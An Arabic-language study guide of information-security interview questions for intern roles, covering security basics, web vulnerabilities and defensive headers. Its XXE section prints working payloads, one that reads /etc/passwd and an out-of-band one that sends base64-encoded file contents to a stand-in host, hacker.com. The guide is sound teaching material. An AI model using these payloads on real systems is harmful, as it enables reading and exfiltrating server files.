نصائح المقابلات (أمن المعلومات)

هذه الصفحة هي ملخص للمقابلات التي مررت بها، وقد غطّت نطاقًا جيدًا من الأدوار، وتلقيت رفضات متعددة، لكنني تعلمت من كل مقابلة، وجمعت ملاحظات بنّاءة ومضيت قدمًا. آمل أن تساعدك هذه الأسئلة/النصائح.

الأدوار التي يغطيها بشكل عام هي كما يلي:

• متدرب في الأمن السيبراني
• متدرب في اختبار الاختراق / الفريق الأحمر
• متدرب في أمن تطبيقات الويب / أمن التطبيقات
• متدرب في أمن المنتجات
• متدرب في أمن البنية التحتية

نصيحة سريعة:

• راجع سيرتك الذاتية واسأل نفسك أسئلة متعلقة بها مسبقًا
• إذا لم تكن على دراية بأي سؤال/مفهوم، لا تتهرب من الموضوع، ووضّح أنك تستطيع تعلمه إذا توفرت لك بيئة للعمل
  لا يمكنك معرفة كل شيء، كن متواضعًا لتقبل إن أخطأت في إجابة أو كنت بحاجة إلى توضيح
• جهّز نبذة قصيرة عن نفسك مسبقًا لتقدم بها نفسك
• كن واثقًا من هدفك النهائي ولماذا أمن المعلومات؟
• أخيرًا، اسأل عن التغذية الراجعة في نهاية المقابلة، لماذا؟ لأنها: تساعد في معرفة وسد الفجوات في معرفتك الحالية بأمن المعلومات

لقد حاولت تدوين جميع الأسئلة المحتملة أدناه التي صادفتها وقدمت إجابات للبعض. أما الباقي فيمكنك البحث عنه في جوجل للحصول على إجابات محددة إذا أردت التعمق. بالإضافة إلى ذلك، هناك بعض المراجع في النهاية، ألقِ نظرة عليها. لقد كانت مفيدة حقًا.

سأحب إضافة المزيد من الأسئلة كلما تقدمت وراجعت ملاحظاتي، ومع ذلك سأقدّر لو قدمت لي ملاحظات بنّاءة حول هذا الموضوع بالتواصل معي عبر [email protected]. إذا صادفت شيئًا غير مغطى هنا، فلا تتردد في مشاركته.

أسئلة شائعة

1. ثلاثيات الأمان:

ما هي CIA؟

• السرية
• النزاهة
• التوافر

ما هي AAA؟

• المصادقة
• التفويض
• المحاسبة

2. الفرق بين التهديد والثغرة والاستغلال والمخاطر وكيف ترتبط بالأصول

• التهديد (Threat):
  التهديد هو ما نحاول الحماية منه
• الثغرة (Vulnerability):
  الثغرة هي ضعف أو فجوة في جهود الحماية لدينا
• الاستغلال (Exploit):
  قدرة/برنامج (قد يكون برنامجًا أو مهارة هندسة اجتماعية) تم تطويره لمهاجمة أصل من خلال استغلال ثغرة
• الخطر (Risk):
  الخطر هو نقطة التقاطع بين الأصول والتهديدات والثغرات
• الأصل (Asset):
  الأصل هو ما نحاول حمايته

3. ما هو IAM ولماذا يُستخدم؟
   IAM هو إدارة الهوية والوصول (Identity Access Management) والتي تُستخدم لفصل الأدوار والمسؤوليات داخل المؤسسة. إنها جزء حاسم من الأمن. تساعد في الحفاظ على أمن مستوى الوصول والامتيازات

الأمن بشكل عام

مراحل هجوم اختراق الشبكة:

• الاستطلاع / جمع المعلومات
• الحصول على الوصول المطلوب
• الحفاظ على الوصول
• إخفاء الآثار (حذف السجلات، البوابات الخلفية، وإخفاء جميع أدوات التحكم)

أمن تطبيقات الويب

1. سؤال شائع:

• OWASP Top 10

• ما هو XSS (البرمجة النصية عبر المواقع)؟

  • تدرب على XSS على: [https://xss-game.appspot.com/]
  • كيفية مكافحة XSS: باختصار استخدم التحقق المناسب من المدخلات
  • ابحث عن ترويسة CSP (سياسة أمان المحتوى)
  • أنواع XSS المختلفة: المنعكسة (Reflected)، المخزنة (Stored)، والقائمة على DOM
  • ما هي المصادر والمصارف في DOM التي قد تؤدي إلى XSS:
    [https://www.netsparker.com/blog/web-security/dom-based-cross-site-scripting-vulnerability/]

• ما هو CSRF هذا هو السؤال الأجمل الذي يحب كل محاور أن يسأله
  نصيحة سريعة: كن موجزًا، وإذا طُلب منك فقط اشرح القصة كاملة

  تزوير الطلب عبر المواقع (CSRF) هو هجوم يجبر المستخدم النهائي على تنفيذ إجراءات غير مرغوب فيها في تطبيق ويب يكون مصادقًا عليه حاليًا. تستهدف هجمات CSRF تحديدًا الطلبات المغيِّرة للحالة، وليس سرقة البيانات، لأن المهاجم لا يمكنه رؤية الاستجابة للطلب المزور. بمساعدة بسيطة من الهندسة الاجتماعية (مثل إرسال رابط عبر البريد الإلكتروني أو الدردشة)، قد يخدع المهاجم مستخدمي تطبيق الويب لتنفيذ إجراءات يختارها المهاجم. إذا كانت الضحية مستخدمًا عاديًا، يمكن لهجوم CSRF ناجح أن يجبر المستخدم على تنفيذ طلبات تغيير الحالة مثل تحويل الأموال، تغيير عنوان بريده الإلكتروني، وما إلى ذلك. إذا كانت الضحية حسابًا إداريًا، يمكن أن يعرض CSRF تطبيق الويب بالكامل للخطر.

• كيفية مكافحة CSRF:
  استخدام رموز مكافحة CSRF
  استخدام سياسة نفس الأصل
  استخدام ترويسة Referrer

• ما هو ترميز HTML/URL

• هل بروتوكول HTTP عديم الحالة؟
  HTTP بروتوكول عديم الحالة بطبيعته لكن الخادم يستخدم ملفات تعريف الارتباط لجعله ذو حالة

• ما هي أنواع الحقن: SQL، الأوامر، نظام التشغيل

• كيفية مكافحة حقن SQL
  استخدام الاستعلامات المعلمة والإجراءات المخزنة

2. افحص الترويسات التي تساعد في توفير الأمان (اطّلع على الروابط وتصفح المحتوى، سيساعدك في بناء أساسياتك):

• CSP (سياسة أمان المحتوى) [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy]
  [https://www.html5rocks.com/en/tutorials/security/content-security-policy/]
• CORS (مشاركة الموارد عبر الأصول) [https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS]
• سياسة نفس الأصل [https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy]

3. هناك سيناريوهات نادرة قد يطرح فيها المحاور هذه الأسئلة، صادفتها في مراحل متأخرة من بعض المقابلات، ففكرت في ذكرها:

• ما هو XXE (الكيانات الخارجية في XML)؟
  حقن الكيانات الخارجية في XML (المعروف أيضًا باسم XXE) هو ثغرة أمنية في الويب تسمح للمهاجم بالتدخل في معالجة التطبيق لبيانات XML. غالبًا ما تتيح للمهاجم عرض الملفات على نظام ملفات خادم التطبيق، والتفاعل مع أي أنظمة خلفية أو خارجية يمكن للتطبيق نفسه الوصول إليها.
  تحقق من هذا [https://portswigger.net/web-security/xxe]
  مثال:

  <?xml version="1.0" encoding="UTF-8"?>    
  <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>     
  <stockCheck><productId>&xxe;</productId></stockCheck> 
  

  في بعض الحالات، يمكن للمهاجم تصعيد هجوم XXE لاختراق الخادم الأساسي أو بنية تحتية خلفية أخرى، من خلال استغلال ثغرة XXE لتنفيذ هجمات تزوير الطلبات من جانب الخادم (SSRF).
• خارج النطاق (Out-Of-Band) - باستخدام كيانات XML، يمكن التقاط البيانات من الخادم وإرسالها إلى hacker.com (لا يتطلب مخرجات من الخادم)

ليتم حقنه: document.xml

<!DOCTYPE root [
    <!ENTITY % remote SYSTEM "http://hacker.com/evil.dtd">
    %remote; %intern; %xxe;
]>
<root>&xxe;</root> - you can change xxe entity to general entity

مضيف خارجي: http://hacker.com/evil.dtd

<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % intern "<!ENTITY &#37; xxe SYSTEM 'http://hacker.com/result-is?%payl;'>">
                    --- OR ---
<!ENTITY % intern "<!ENTITY &#37; xxe SYSTEM 'file://%payl;'>"> - consider error-based

المرجع: [https://phonexicum.github.io/infosec/xxe.html]

• ما هو هجوم SSRF (تزوير الطلبات من جانب الخادم)
  يمكن استخدامها للتسلل إلى الشبكة الداخلية
• كيفية تأمين بنية الويب ثلاثية الطبقات
• ما هو Kerberos https://www.varonis.com/blog/kerberos-authentication-explained/
• ما هي إدارة الأسرار والخزائن https://www.hashicorp.com/resources/introduction-vault-whiteboard-armon-dadgar